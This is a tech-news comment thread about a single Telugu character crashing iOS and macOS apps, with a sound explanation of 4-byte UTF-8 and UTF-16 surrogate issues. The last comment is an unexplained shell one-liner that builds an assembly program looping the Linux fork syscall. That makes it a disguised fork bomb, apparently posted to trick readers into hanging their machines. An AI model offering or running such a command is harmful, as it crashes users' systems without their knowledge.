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Mac and iOS Bug Crashes Apps With a Single Indian-Language Character (mashable.com)
A lone Indian-language character is crashing a number of messaging apps on iOS, users are reporting. The problem also extends to the Apple Watch and even Macs, all of which struggle to process the character specific to the Telugu language spoken in India.
I say it's high time that any and all text-ish messaging systems require just plain ASCII characters
Great idea. I totally agree that we should all adopt a single alphabet, but obviously the standard should be based on Chinese hanzi ideograms, not ASCII. Hanzi have a bigger user base, don't depend on a single spoken language, and are more compact since each character represents an entire syllable.
If everyone is in agreement, we can start working on the unification immediately.
A lot of embedded systems will behave strangely if you feed them a lot of characters like this
https://en.wiktionary.org/wiki...
http://www.unicode.org/cgi-bin...
That character is four bytes in UTF-8 which kills systems that assume a maximum of three - which used to be true for Chinese and Japanese, but isn't now.
It's also two UTF-16 code points, which will mess up systems that assume each character is a single code point.
Now you'll say "Those systems are all buggy". That's true now, but it wasn't true when a lot of them were designed - Unicode used to be limited to 64K characters which meant it was a fixed width encoding for UCS-2. And that three bytes was the maximum encoding for UTF-8.
When it grew those ceased to be true. Which is fine for systems that are maintained - the vendor would find bugs created by the standard change and push an update. Unfortunately a lot of systems - particularly embedded ones - aren't like that. Hell, Android isn't like that. Google push updates out to vendors but if your machine is EOL you're SOL.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;